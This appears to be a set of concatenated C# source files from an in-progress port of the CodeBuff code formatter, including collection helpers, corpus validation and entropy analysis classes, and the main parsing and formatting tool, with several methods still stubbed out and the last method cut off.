org.antlr.codebuff.misc { public class HashBag<T> : IDictionary<T, int> { protected internal IDictionary<T, MutableInt> data = new Dictionary<T, MutableInt>(); public virtual void Clear() { data.Clear(); } public virtual int Count { get { return data.Count; } } public virtual bool Empty { get { return data.Count == 0; } } public virtual bool ContainsKey(object key) { return data.ContainsKey((T)key); } public virtual bool containsValue(object value) { var f = data.Select(t => { if (value == t.Value) return true; else return false; }); return f.Any(); } public virtual int? get(object key) { MutableInt I = null; if (key.GetType() != typeof(T)) return null; data.TryGetValue((T)key, out I); if (I != null) { return I.asInt(); } return null; } public int? put(T key, int value) { data[key] = new MutableInt(value); return null; // violates Map<> contract } public virtual int? add(T key) { MutableInt I = null; data.TryGetValue(key, out I); if (I == null) { data[key] = new MutableInt(1); } else { I.inc(); } return get(key); } public virtual int? remove(object key) { int? I = get(key); data.Remove((T)key); return I; } public void putAll<T1>(IDictionary<T1, int> m) where T1 : T { foreach (T1 key in m.Keys) { put(key, m[key]); } } //public virtual ISet<T> keySet() //{ // ICollection<T> keys = data.Keys; // var rv = new MyHashSet<T>(); // foreach (T t in keys) rv.add(t); // return rv; //} public virtual ICollection<int> Values { get { IList<int> v = new List<int>(); foreach (MutableInt I in data.Values) { v.Add(I.asInt()); } return v; } } public virtual ISet<KeyValuePair<T, int>> entrySet() { throw new System.NotSupportedException(); } public override string ToString() { return data.ToString(); } public virtual T MostFrequent { get { T t = default(T); int max = 0; foreach (T key in data.Keys) { MutableInt count = data[key]; if (count.asInt() > max) { max = count.asInt(); t = key; } } return t; } } public bool ContainsKey(T key) { throw new NotImplementedException(); } public void Add(T key, int value) { throw new NotImplementedException(); } public bool Remove(T key) { throw new NotImplementedException(); } public bool TryGetValue(T key, out int value) { throw new NotImplementedException(); } public void Add(KeyValuePair<T, int> item) { throw new NotImplementedException(); } public bool Contains(KeyValuePair<T, int> item) { throw new NotImplementedException(); } public void CopyTo(KeyValuePair<T, int>[] array, int arrayIndex) { throw new NotImplementedException(); } public bool Remove(KeyValuePair<T, int> item) { throw new NotImplementedException(); } public IEnumerator<KeyValuePair<T, int>> GetEnumerator() { throw new NotImplementedException(); } IEnumerator IEnumerable.GetEnumerator() { throw new NotImplementedException(); } public ICollection<T> Keys { get { IList<T> v = new List<T>(); foreach (T k in data.Keys) { v.Add(k); } return v; } } ICollection<int> IDictionary<T, int>.Values { get { throw new NotImplementedException(); } } public bool IsReadOnly { get { throw new NotImplementedException(); } } public int this[T key] { get { throw new NotImplementedException(); } set { throw new NotImplementedException(); } } } }<file_sep>using System; namespace org.antlr.codebuff.misc { public class MutableDouble { public double d; public MutableDouble(double d) { this.d = d; } public virtual double add(double value) { d += value; return d; } public virtual double div(double value) { d /= value; return d; } public override string ToString() { return Convert.ToString(d); } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using org.antlr.codebuff.misc; namespace org.antlr.codebuff.validation { using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; using Utils = Antlr4.Runtime.Misc.Utils; //using ST = org.stringtemplate.v4.ST; using Antlr4.Runtime.Misc; public class SubsetValidator { public const int DOCLIST_RANDOM_SEED = 777111333; // need randomness but use same seed to get reproducibility public const bool FORCE_SINGLE_THREADED = false; public const string outputDir = "/tmp"; internal static readonly Random random = new Random(); static SubsetValidator() { random = new Random(DOCLIST_RANDOM_SEED); } public string rootDir; public LangDescriptor language; internal IList<string> allFiles; public SubsetValidator(string rootDir, LangDescriptor language) { this.rootDir = rootDir; this.language = language; allFiles = Tool.getFilenames(rootDir, language.fileRegex); } public static void Main(string[] args) { LangDescriptor[] languages = new LangDescriptor[] { Tool.ANTLR4_DESCR }; int maxNumFiles = 30; int trials = 50; IDictionary<string, float[]> results = new Dictionary<string, float[]>(); foreach (LangDescriptor language in languages) { float[] medians = getMedianErrorRates(language, maxNumFiles, trials); results[language.name] = medians; } string python = "#\n" + "# AUTO-GENERATED FILE. DO NOT EDIT\n" + "# CodeBuff <version> '<date>'\n" + "#\n" + "import numpy as np\n" + "import matplotlib.pyplot as plt\n\n" + "fig = plt.figure()\n" + "ax = plt.subplot(111)\n" + "N = <maxNumFiles>\n" + "sizes = range(1,N+1)\n" + "<results:{r |\n" + "<r> = [<rest(results.(r)); separator={,}>]\n" + "ax.plot(range(1,len(<r>)+1), <r>, label=\"<r>\", marker='<markers.(r)>', color='<colors.(r)>')\n" + "}>\n" + "ax.yaxis.grid(True, linestyle='-', which='major', color='lightgrey', alpha=0.5)\n" + "ax.set_xlabel(\"Number of training files in sample corpus subset\", fontsize=14)\n" + "ax.set_ylabel(\"Median Error rate for <trials> trials\", fontsize=14)\n" + "ax.set_title(\"Effect of Corpus size on Median Leave-one-out Validation Error Rate\")\n" + "plt.legend()\n" + "plt.tight_layout()\n" + "fig.savefig('images/subset_validator.pdf', format='pdf')\n" + "plt.show()\n"; ST pythonST = new ST(python); pythonST.add("results", results); pythonST.add("markers", LeaveOneOutValidator.nameToGraphMarker); pythonST.add("colors", LeaveOneOutValidator.nameToGraphColor); pythonST.add("version", version); pythonST.add("date", DateTime.Now); pythonST.add("trials", trials); pythonST.add("maxNumFiles", maxNumFiles); IList<string> corpusDirs = map(languages, l => l.corpusDir); string[] dirs = corpusDirs.ToArray(); string fileName = "python/src/subset_validator.py"; org.antlr.codebuff.misc.Utils.writeFile(fileName, pythonST.render()); Log.WriteLine("wrote python code to " + fileName); } public static float[] getMedianErrorRates(LangDescriptor language, int maxNumFiles, int trials) { SubsetValidator validator = new SubsetValidator(language.corpusDir, language); IList<InputDocument> documents = Tool.load(validator.allFiles, language); float[] medians = new float[Math.Min(documents.Count,maxNumFiles) + 1]; int ncpu = Runtime.Runtime.availableProcessors(); if (FORCE_SINGLE_THREADED) { ncpu = 2; } ExecutorService pool = Executors.newFixedThreadPool(ncpu - 1); IList<Callable<Void>> jobs = new List<Callable<Void>>(); for (int i = 1; i <= Math.Min(validator.allFiles.Count, maxNumFiles); i++) { // i is corpus subset size //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int corpusSubsetSize = i; int corpusSubsetSize = i; Callable<Void> job = () => { try { IList<float?> errorRates = new List<float?>(); for (int trial = 1; trial <= trials; trial++) { // multiple trials per subset size org.antlr.codebuff.misc.Pair<InputDocument, IList<InputDocument>> sample = validator.selectSample(documents, corpusSubsetSize); Triple<Formatter, float?, float?> results = validate(language, sample.b, sample.a, true, false); // System.out.println(sample.a.fileName+" n="+corpusSubsetSize+": error="+results.c); // System.out.println("\tcorpus =\n\t\t"+Utils.join(sample.b.iterator(), "\n\t\t")); errorRates.Add(results.c); } errorRates.Sort(); int n = errorRates.Count; float median = errorRates[n / 2].Value; Log.WriteLine("median " + language.name + " error rate for n=" + corpusSubsetSize + " is " + median); medians[corpusSubsetSize] = median; } catch (Exception t) { t.printStackTrace(System.err); } return null; }; jobs.Add(job); } pool.invokeAll(jobs); pool.shutdown(); bool terminated = pool.awaitTermination(60, TimeUnit.MINUTES); return medians; } /// <summary> /// Select one document at random, then n others w/o replacement as corpus </summary> public virtual org.antlr.codebuff.misc.Pair<InputDocument, IList<InputDocument>> selectSample(IList<InputDocument> documents, int n) { int i = random.Next(documents.Count); InputDocument testDoc = documents[i]; IList<InputDocument> others = BuffUtils.filter(documents, d => d != testDoc); IList<InputDocument> corpusSubset = getRandomDocuments(others, n); return new org.antlr.codebuff.misc.Pair<InputDocument, IList<InputDocument>>(testDoc, corpusSubset); } public static Triple<Formatter, float, float> validate(LangDescriptor language, IList<InputDocument> documents, InputDocument testDoc, bool saveOutput, bool computeEditDistance) { // kNNClassifier.resetCache(); Corpus corpus = new Corpus(documents, language); corpus.train(); // System.out.printf("%d feature vectors\n", corpus.featureVectors.size()); Formatter formatter = new Formatter(corpus, language.indentSize); string output = formatter.format(testDoc, false); float editDistance = 0; if (computeEditDistance) { editDistance = Dbg.normalizedLevenshteinDistance(testDoc.content, output); } ClassificationAnalysis analysis = new ClassificationAnalysis(testDoc, formatter.AnalysisPerToken); // System.out.println(testDoc.fileName+": edit distance = "+editDistance+", error rate = "+analysis.getErrorRate()); if (saveOutput) { File dir = new File(outputDir + "/" + language.name); if (saveOutput) { dir = new File(outputDir + "/" + language.name); dir.mkdir(); } org.antlr.codebuff.misc.Utils.writeFile(dir.Path + "/" + System.IO.Path.GetFileName(testDoc.fileName), output); } return new Triple<Formatter, float?, float?>(formatter, editDistance, analysis.ErrorRate); } /// <summary> /// From input documents, grab n in random order w/o replacement </summary> public static IList<InputDocument> getRandomDocuments(IList<InputDocument> documents, int n) { IList<InputDocument> documents_ = new List<InputDocument>(documents); Collections.shuffle(documents_, random); IList<InputDocument> contentList = new List<InputDocument>(n); // get first n files from shuffle and set file index for it for (int i = 0; i < Math.Min(documents_.Count,n); i++) { contentList.Add(documents_[i]); } return contentList; } /// <summary> /// From input documents, grab n in random order w replacement </summary> public static IList<InputDocument> getRandomDocumentsWithRepl(IList<InputDocument> documents, int n) { IList<InputDocument> contentList = new List<InputDocument>(n); for (int i = 1; i <= n; i++) { int r = random.Next(documents.Count); // get random index from 0..|inputfiles|-1 contentList.Add(documents[r]); } return contentList; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace org.antlr.codebuff.misc { public class Utils { public static void writeFile(string f, string o) { } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using com.google.common.collect; using org.antlr.codebuff.misc; namespace org.antlr.codebuff.validation { //using ArrayListMultimap = com.google.common.collect.ArrayListMultimap; //using ListMultimap = com.google.common.collect.ListMultimap; using BuffUtils = org.antlr.codebuff.misc.BuffUtils; //using HashBag = org.antlr.codebuff.misc.HashBag; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; /// /// <summary> /// Walk corpus of single file, grouping by feature vectors (formatting context). /// Then consider the diversity index / entropy of the predicted categories /// and diversity of contexts themselves. /// /// First goal: Measure how well the features capture the structure of the input. /// /// Assumption: ignore generality. /// /// If each specific context predicts many different categories and mostly at /// same likelihood, diversity/entropy is high and the predictor/formatter will likely /// perform poorly. In contrast, if each context predicts a single category, /// the model potentially captures the input structure well. Call that /// context-category diversity. /// /// Low context-category diversity could be a result of model "getting lucky". /// Imagine an input file like Java input enum type with almost all one context /// and one category. Define context diversity as ratio of number of contexts /// over number of tokens. If context-cat diversity is low AND context diversity /// is high, we could have more confidence the model was capturing the input. /// /// That only gives a do not exceed speed. Imagine a model whose context is /// just the token index. Context-category diversity would be 0 (or close to it) /// and diversity would be 1 as there'd be 1 context per token. The model could /// reproduce the input perfectly but would not generalize in any way. /// /// Assuming we don't use a stupid model like "token index -> formatting directive", /// /// model capture index = (1.0 - context-category diversity) * context diversity /// /// gives useful index values for the files in a corpus. /// /// If context-category diversity is high, context diversity doesn't matter. /// A predictor cannot choose better than the entropy in the choices. This /// could be either or both of: /// /// a) model does not distinguish between contexts well enough /// b) corpus is highly inconsistent in formatting /// /// If we assume a single file is internally consistent (not always true; /// in principle, we could do divide up files into regions such as methods.) then /// high context-category diversity implies a bad model. /// /// Now consider context-category diversity across corpus files. High /// context-category diversity in one file but low overall context-category /// diversity in other files combined, implies that file is inconsistent /// with corpus. /// /// Even with low context-category diversity in one file and in corpus, they /// may differ in predicted category so must check. If context-category diversity /// is low in file and in corpus and they are same, good consistency. If /// context-category diversity is low in both but not same, bad consistency. /// If context-category diversity is high in file but not corpus, file /// is internally inconsistent or with corpus or both. If context-category diversity /// is low in file, high in corpus, inconsistent. /// /// It just occurred to me that the number of categories predicted for a specific /// feature vector is like the diversity index in that we could sort by it. /// In this case, it favors diversity with lots of choices rather than relative /// likelihood. /// /// Important to point out: a perfect diversity of 0 for a file doesn't mean /// we can perfectly reproduce. The formatting directives may not be correct /// or rich enough. Low diversity just says we'll be able to pick what the /// formatting model thinks is correct. /// </summary> public class Entropy { public static void Main(string[] args) { } public static void runCaptureForOneLanguage(LangDescriptor language) { IList<string> filenames = Tool.getFilenames(language.corpusDir, language.fileRegex); IList<InputDocument> documents = Tool.load(filenames, language); foreach (string fileName in filenames) { // Examine info for this file in isolation Corpus fileCorpus = new Corpus(fileName, language); fileCorpus.train(); Log.WriteLine(fileName); // examineCorpus(corpus); ArrayListMultiMap<FeatureVectorAsObject, int> ws = getWSContextCategoryMap(fileCorpus); ArrayListMultiMap<FeatureVectorAsObject, int> hpos = getHPosContextCategoryMap(fileCorpus); // Compare with corpus minus this file string path = fileName; IList<InputDocument> others = BuffUtils.filter(documents, d => !d.fileName.Equals(path)); Corpus corpus = new Corpus(others, language); corpus.train(); // examineCorpus(corpus); ArrayListMultiMap<FeatureVectorAsObject, int> corpus_ws = getWSContextCategoryMap(corpus); ArrayListMultiMap<FeatureVectorAsObject, int> corpus_hpos = getHPosContextCategoryMap(corpus); foreach (FeatureVectorAsObject x in ws.Keys) { HashBag<int> fwsCats = getCategoriesBag(ws[x]); IList<float> fwsRatios = getCategoryRatios(fwsCats.Values); HashBag<int> wsCats = getCategoriesBag(corpus_ws[x]); IList<float> wsRatios = getCategoryRatios(wsCats.Values); // compare file predictions with corpus predictions if (!fwsRatios.SequenceEqual(wsRatios)) { Log.WriteLine(fwsRatios + " vs " + wsRatios); } HashBag<int> fhposCats = getCategoriesBag(hpos[x]); HashBag<int> hposCats = getCategoriesBag(corpus_hpos[x]); } break; } } public static ArrayListMultiMap<FeatureVectorAsObject, int> getWSContextCategoryMap(Corpus corpus) { ArrayListMultiMap<FeatureVectorAsObject, int> wsByFeatureVectorGroup = ArrayListMultiMap<FeatureVectorAsObject, int>.create(); int numContexts = corpus.featureVectors.Count; for (int i = 0; i < numContexts; i++) { int[] X = corpus.featureVectors[i]; int y = corpus.injectWhitespace[i]; wsByFeatureVectorGroup.Add(new FeatureVectorAsObject(X, Trainer.FEATURES_INJECT_WS), y); } return wsByFeatureVectorGroup; } public static ArrayListMultiMap<FeatureVectorAsObject, int> getHPosContextCategoryMap(Corpus corpus) { ArrayListMultiMap<FeatureVectorAsObject, int> hposByFeatureVectorGroup = ArrayListMultiMap<FeatureVectorAsObject, int>.create(); int numContexts = corpus.featureVectors.Count; for (int i = 0; i < numContexts; i++) { int[] X = corpus.featureVectors[i]; int y = corpus.hpos[i]; hposByFeatureVectorGroup.Add(new FeatureVectorAsObject(X, Trainer.FEATURES_HPOS), y); } return hposByFeatureVectorGroup; } public static void examineCorpus(Corpus corpus) { ArrayListMultiMap<FeatureVectorAsObject, int> wsByFeatureVectorGroup = ArrayListMultiMap<FeatureVectorAsObject, int>.create(); ArrayListMultiMap<FeatureVectorAsObject, int> hposByFeatureVectorGroup = ArrayListMultiMap<FeatureVectorAsObject, int>.create(); int numContexts = corpus.featureVectors.Count; for (int i = 0; i < numContexts; i++) { int[] X = corpus.featureVectors[i]; int y1 = corpus.injectWhitespace[i]; int y2 = corpus.hpos[i]; wsByFeatureVectorGroup.Add(new FeatureVectorAsObject(X, Trainer.FEATURES_INJECT_WS), y1); hposByFeatureVectorGroup.Add(new FeatureVectorAsObject(X, Trainer.FEATURES_HPOS), y2); } IList<double> wsEntropies = new List<double>(); IList<double> hposEntropies = new List<double>(); foreach (FeatureVectorAsObject x in wsByFeatureVectorGroup.Keys) { var cats = wsByFeatureVectorGroup[x]; var cats2 = hposByFeatureVectorGroup[x]; HashBag<int> wsCats = getCategoriesBag(cats); HashBag<int> hposCats = getCategoriesBag(cats2); double wsEntropy = getNormalizedCategoryEntropy(getCategoryRatios(wsCats.Values)); double hposEntropy = getNormalizedCategoryEntropy(getCategoryRatios(hposCats.Values)); wsEntropies.Add(wsEntropy); hposEntropies.Add(hposEntropy); Log.Write("{0,130} : {1},{2} {3},{4}\n", x, wsCats, wsEntropy, hposCats, hposEntropy); } Log.WriteLine("MEAN " + BuffUtils.mean(wsEntropies)); Log.WriteLine("MEAN " + BuffUtils.mean(hposEntropies)); float contextRichness = wsEntropies.Count / (float) numContexts; // 0..1 where 1 means every token had different context Log.WriteLine("Context richness = " + contextRichness + " uniq ctxs=" + wsEntropies.Count + ", nctxs=" + numContexts); } /// <summary> /// Return diversity index, e^entropy. /// https://en.wikipedia.org/wiki/Diversity_index /// "Shannon entropy is the logarithm of 1D, the true diversity /// index with parameter equal to 1." /// </summary> public static double getCategoryDiversityIndex(ICollection<float> ratios) { return Math.Exp(getNormalizedCategoryEntropy(ratios)); } // public static double getCategoryDiversityIndex(double entropy) { // return Math.exp(entropy); // } /// <summary> /// Return Shannon's diversity index (entropy) normalized to 0..1 /// https://en.wikipedia.org/wiki/Diversity_index /// "Shannon entropy is the logarithm of 1D, the true diversity /// index with parameter equal to 1." /// /// "When all types in the dataset of interest are equally common, /// all pi values equal 1 / R, and the Shannon index hence takes /// the value ln(R)." /// /// So, normalize to 0..1 by dividing by log(R). R here is the number /// of different categories. /// </summary> public static double getNormalizedCategoryEntropy(ICollection<float> ratios) { double entropy = 0.0; int R = ratios.Count; foreach (float r in ratios) { entropy += r * Math.Log(r); } entropy = -entropy; return R == 1 ? 0.0 : entropy / Math.Log(R); // return R==1 ? 0.0 : entropy; } public static IList<float> getCategoryRatios(ICollection<int> catCounts) { IList<float> ratios = new List<float>(); int n = BuffUtils.sum(catCounts); foreach (int count in catCounts) { float probCat = count / (float) n; ratios.Add(probCat); } return ratios; } public static HashBag<int> getCategoriesBag(ICollection<int> categories) { HashBag<int> votes = new HashBag<int>(); foreach (int category in categories) { votes.add(category); } return votes; } } }<file_sep>using System; using System.Collections; using System.Collections.Generic; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; namespace com.google.common.collect { public sealed class ArrayListMultiMap<K, V> : MyMultiMap<K, V>, IEnumerable { private List<KeyValuePair<K, V>> the_order; public static ArrayListMultiMap<K, V> create() { return new ArrayListMultiMap<K, V>(); } public static ArrayListMultiMap<K, V> create(MyMultiMap<K, V> multimap) { return new ArrayListMultiMap<K, V>(multimap); } private ArrayListMultiMap() { the_order = new List<KeyValuePair<K, V>>(); } private ArrayListMultiMap(MyMultiMap<K, V> multimap) { the_order = new List<KeyValuePair<K, V>>(); foreach (KeyValuePair<K, MyHashSet<V>> kv in multimap) { foreach (object v in kv.Value) { V vv = (V)v; this[kv.Key] = kv.Value; the_order.Add(new KeyValuePair<K,V>(kv.Key, vv)); } } } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } } } <file_sep>using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Linq; using System.Reflection; using System.Text; using Antlr4.Runtime; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; namespace org.antlr.codebuff { using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; //using ANTLRErrorListener = Antlr4.Runtime.IAntlrErrorListener; using ANTLRInputStream = Antlr4.Runtime.AntlrInputStream; using BailErrorStrategy = Antlr4.Runtime.BailErrorStrategy; using CharStream = Antlr4.Runtime.ICharStream; using CommonToken = Antlr4.Runtime.CommonToken; using CommonTokenStream = Antlr4.Runtime.CommonTokenStream; using DefaultErrorStrategy = Antlr4.Runtime.DefaultErrorStrategy; using Lexer = Antlr4.Runtime.Lexer; using Parser = Antlr4.Runtime.Parser; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using RecognitionException = Antlr4.Runtime.RecognitionException; using Recognizer = Antlr4.Runtime.IRecognizer; using Token = Antlr4.Runtime.IToken; using TokenStream = Antlr4.Runtime.ITokenStream; using ATNConfigSet = Antlr4.Runtime.Atn.ATNConfigSet; using PredictionMode = Antlr4.Runtime.Atn.PredictionMode; using DFA = Antlr4.Runtime.Dfa.DFA; //using ParseCancellationException = Antlr4.Runtime.Misc.ParseCancellationException; using Utils = Antlr4.Runtime.Misc.Utils; using System.Text.RegularExpressions; /// <summary> /// The main CodeBuff tool used to format files. Examples: /// /// $ java -jar target/codebuff-1.4.19.jar \ /// -g org.antlr.codebuff.ANTLRv4 -rule grammarSpec -corpus corpus/antlr4/training \ /// -files g4 -indent 4 -comment LINE_COMMENT T.g4 /// /// $ java -jar codebuff-1.4.19 \ /// -g org.antlr.codebuff.Java -rule compilationUnit \ /// -corpus corpus/java/training/stringtemplate4 -files java \ /// -comment LINE_COMMENT T.java /// /// You have to have some libs in your CLASSPATH. See pom.xml, but it's /// ANTLR 4, Apache commons-lang3, Google guava, and StringTemplate 4. /// /// The grammar must be run through ANTLR and be compiled (and in the CLASSPATH). /// For Java8.g4, use "-g Java8", not the filename. For separated /// grammar files, like ANTLRv4Parser.g4 and ANTLRv4Lexer.g4, use "-g ANTLRv4". /// If the grammar is in a package, use fully-qualified like /// "-g org.antlr.codebuff.ANTLRv4" /// /// Output goes to stdout if no -o option used. /// </summary> public class Tool { public static bool showFileNames = false; public static bool showTokens = false; public static LangDescriptor[] languages = new LangDescriptor[] { }; public static string version; static Tool() { try { Tool.setToolVersion(); } catch (Exception ioe) { Log.WriteLine(ioe.StackTrace); } } public static string formatted_output = null; public static string unformatted_input = null; public static string Main(object[] args) { Log.Reset(); try { if (args.Length < 7) { Log.WriteLine("org.antlr.codebuff.Tool -g grammar-name -rule start-rule -corpus root-dir-of-samples \\\n" + " [-files file-extension] [-indent num-spaces] \\" + " [-comment line-comment-name] [-o output-file] file-to-format"); return Log.Message(); } formatted_output = null; string outputFileName = ""; string grammarName = null; string startRule = null; string corpusDir = null; string indentS = "4"; string commentS = null; string input_file_name = null; string fileExtension = null; int i = 0; Type parserClass = null; Type lexerClass = null; while (i < args.Length && ((string)args[i]).StartsWith("-", StringComparison.Ordinal)) { switch (args[i]) { case "-g": i++; grammarName = (string)args[i++]; break; case "-lexer": i++; lexerClass = (Type)args[i++]; break; case "-parser": i++; parserClass = (Type)args[i++]; break; case "-rule": i++; startRule = (string)args[i++]; break; case "-corpus": i++; corpusDir = (string)args[i++]; break; case "-files": i++; fileExtension = (string)args[i++]; break; case "-indent": i++; indentS = (string)args[i++]; break; case "-comment": i++; commentS = (string)args[i++]; break; case "-o": i++; outputFileName = (string)args[i++]; break; case "-inoutstring": i++; formatted_output = ""; outputFileName = null; break; } } input_file_name = (string)args[i]; // must be last Log.WriteLine("gramm: " + grammarName); string parserClassName = grammarName + "Parser"; string lexerClassName = grammarName + "Lexer"; Lexer lexer = null; if (lexerClass == null || parserClass == null) Log.WriteLine("You must specify a lexer and parser."); if (parserClass == null | lexerClass == null) { return Log.Message(); } int indentSize = int.Parse(indentS); int singleLineCommentType = -1; if (!string.ReferenceEquals(commentS, null)) { try { lexer = getLexer(lexerClass, null); } catch (Exception e) { Log.WriteLine("Can't instantiate lexer " + lexerClassName); Log.WriteLine(e.StackTrace); } if (lexer == null) { return Log.Message(); } IDictionary<string, int> tokenTypeMap = lexer.TokenTypeMap; if (tokenTypeMap.ContainsKey(commentS)) { singleLineCommentType = tokenTypeMap[commentS]; } } string fileRegex = null; if (!string.ReferenceEquals(fileExtension, null)) { var pattern = ""; var allowable_suffices = fileExtension.Split(';').ToList<string>(); foreach (var s in allowable_suffices) { var no_dot = s.Substring(s.IndexOf('.') + 1); pattern = pattern == "" ? ("(" + no_dot) : (pattern + "|" + no_dot); } pattern = pattern + ")"; fileRegex = ".*\\." + pattern; } LangDescriptor language = new LangDescriptor(grammarName, corpusDir, fileRegex, lexerClass, parserClass, startRule, indentSize, singleLineCommentType); //////// // load all corpus files up front IList<string> allFiles = getFilenames(language.corpusDir, language.fileRegex); IList<InputDocument> documents = load(allFiles, language); // Handle formatting of document if it's passed as a string or not. if (unformatted_input == null) { // Don't include file to format in corpus itself. string path = System.IO.Path.GetFullPath(input_file_name); IList<InputDocument> others = BuffUtils.filter(documents, d => !d.fileName.Equals(path)); // Perform training of formatter. Corpus corpus = new Corpus(others, language); corpus.train(); // Parse code contained in file. InputDocument unformatted_document = parse(input_file_name, language); // Format document. Formatter formatter = new Formatter(corpus, language.indentSize, Formatter.DEFAULT_K, Trainer.FEATURES_INJECT_WS, Trainer.FEATURES_HPOS); formatted_output = formatter.format(unformatted_document, false); } else { // Perform training of formatter. Corpus corpus = new Corpus(documents, language); corpus.train(); // Parse code that was represented as a string. InputDocument unformatted_document = parse(input_file_name, unformatted_input, language); // Format document. Formatter formatter = new Formatter(corpus, language.indentSize, Formatter.DEFAULT_K, Trainer.FEATURES_INJECT_WS, Trainer.FEATURES_HPOS); formatted_output = formatter.format(unformatted_document, false); } /////// if (outputFileName != null && outputFileName == "") { Log.WriteLine(formatted_output); } else if (!string.IsNullOrEmpty(outputFileName)) { org.antlr.codebuff.misc.Utils.writeFile(outputFileName, formatted_output); } } catch (Exception e) { throw e; } return formatted_output; } public static void setToolVersion() { version = "v1"; } public static CodeBuffTokenStream tokenize(string doc, Type lexerClass) { ANTLRInputStream input = new ANTLRInputStream(doc); Lexer lexer = getLexer(lexerClass, input); CodeBuffTokenStream tokens = new CodeBuffTokenStream(lexer); tokens.Fill(); return tokens; } public static Parser getParser(Type parserClass, CommonTokenStream tokens) { object o = Activator.CreateInstance(parserClass, new object[] { tokens }); return (Parser)o; } public static Lexer getLexer(Type lexerClass, ANTLRInputStream input) { object o = Activator.CreateInstance(lexerClass, new object[] { input }); return (Lexer)o; } /// <summary> /// Get all file contents into input doc list </summary> public static IList<InputDocument> load(IList<string> fileNames, LangDescriptor language) { IList<InputDocument> documents = new List<InputDocument>(); foreach (string fileName in fileNames) { documents.Add(parse(fileName, language)); } if (documents.Count > 0) { documents[0].parser.Interpreter.ClearDFA(); // free up memory } return documents; } public static string load(string fileName, int tabSize) { string path = System.IO.Path.GetFullPath(fileName); string content = new StreamReader(path).ReadToEnd(); string notabs = expandTabs(content, tabSize); return notabs; } /// <summary> /// Parse doc and fill tree and tokens fields /// </summary> public static InputDocument parse(string fileName, LangDescriptor language) { string content = load(fileName, language.indentSize); return parse(fileName, content, language); } public static InputDocument parse(string fileName, string content, LangDescriptor language) { ANTLRInputStream input = new ANTLRInputStream(content); Lexer lexer = getLexer(language.lexerClass, input); input.name = fileName; InputDocument doc = new InputDocument(fileName, content, language); doc.tokens = new CodeBuffTokenStream(lexer); doc.parser = getParser(language.parserClass, doc.tokens); doc.parser.BuildParseTree = true; // two-stage parsing. Try with SLL first doc.parser.Interpreter.PredictionMode = Antlr4.Runtime.Atn.PredictionMode.SLL; doc.parser.ErrorHandler = new BailErrorStrategy(); doc.parser.RemoveErrorListeners(); MethodInfo startRule = language.parserClass.GetMethod(language.startRuleName); try { doc.Tree = (ParserRuleContext) startRule.Invoke(doc.parser, (object[]) null); } catch (Exception ex) { { doc.parser.Reset(); doc.tokens.Reset(); // rewind input stream // back to standard listeners/handlers doc.parser.AddErrorListener(new ANTLRErrorListenerAnonymousInnerClass()); doc.parser.ErrorHandler = new LogStrategy(); doc.parser.Interpreter.PredictionMode = PredictionMode.LL; doc.Tree = (ParserRuleContext) startRule.Invoke(doc.parser, (object[]) null); if (doc.parser.NumberOfSyntaxErrors > 0) { doc.Tree = null; } } } return doc; } private class ANTLRErrorListenerAnonymousInnerClass : Antlr4.Runtime.IAntlrErrorListener<IToken> { public ANTLRErrorListenerAnonymousInnerClass() { } public void SyntaxError(TextWriter output, IRecognizer recognizer, IToken offendingSymbol, int line, int charPositionInLine, string msg, RecognitionException e) { Log.WriteLine(recognizer.InputStream.SourceName + " line " + line + ":" + charPositionInLine + " " + msg); } } public static IList<string> getFilenames(string dir_or_file, string inputFilePattern) { IList<string> files = new List<string>(); getFilenames_(dir_or_file, inputFilePattern, files); return files; } public static void getFilenames_(string dir_or_file, string inputFilePattern, IList<string> files) { // If this is a directory, walk each file/dir in that directory FileAttributes attr = File.GetAttributes(dir_or_file); //detect whether its a directory or file if (attr.HasFlag(FileAttributes.Directory)) { IEnumerable<string> dlist = Directory.EnumerateDirectories(dir_or_file); foreach (string d in dlist) { getFilenames_(d, inputFilePattern, files); } var flist = Directory.EnumerateFiles(dir_or_file); foreach (string f in flist) { getFilenames_(f, inputFilePattern, files); } } else if ( inputFilePattern == null || new Regex(inputFilePattern).IsMatch(dir_or_file)) { string p = Path.GetFullPath(dir_or_file); files.Add(p); } } public static string join(int[] array, string separator) { StringBuilder builder = new StringBuilder(); for (int i = 0; i < array.Length; i++) { builder.Append(array[i]); if (i < array.Length - 1) { builder.Append(separator); } } return builder.ToString(); } public static string join(string[] array, string separator) { StringBuilder builder = new StringBuilder(); for (int i = 0; i < array.Length; i++) { builder.Append(array[i]); if (i < array.Length - 1) { builder.Append(separator); } } return builder.ToString(); } public static IList<CommonToken> copy(CommonTokenStream tokens) { IList<CommonToken> copy = new List<CommonToken>(); tokens.Fill(); foreach (Token t in tokens.GetTokens()) { copy.Add(new CommonToken(t)); } return copy; } public static int L0_Distance(bool[] categorical, int[] A, int[] B) { int count = 0; // count how many mismatched categories there are for (int i = 0; i < A.Length; i++) { if (categorical[i]) { if (A[i] != B[i]) { count++; } } } return count; } /// <summary> /// A distance of 0 should count much more than non-0. Also, penalize /// mismatches closer to current token than those farther away. /// </summary> public static double weightedL0_Distance(FeatureMetaData[] featureTypes, int[] A, int[] B) { double count = 0; // count how many mismatched categories there are for (int i = 0; i < A.Length; i++) { FeatureType type = featureTypes[i].type; if (type == FeatureType.TOKEN || type == FeatureType.RULE || type == FeatureType.INT || type == FeatureType.BOOL) { if (A[i] != B[i]) { count += featureTypes[i].mismatchCost; } } } return count; } public static double sigmoid(int x, float center) { return 1.0 / (1.0 + Math.Exp(-0.9 * (x - center))); } public static int max(IList<int?> Y) { int max = 0; foreach (int y in Y) { max = Math.Max(max, y); } return max; } public static int sum(int[] a) { int s = 0; foreach (int x in a) { s += x; } return s; } public static string spaces(int n) { return sequence(n, " "); // StringBuilder buf = new StringBuilder(); // for (int sp=1; sp<=n; sp++) buf.append(" "); // return buf.toString(); } public static string newlines(int n) { return sequence(n, "\r\n"); //KED KED 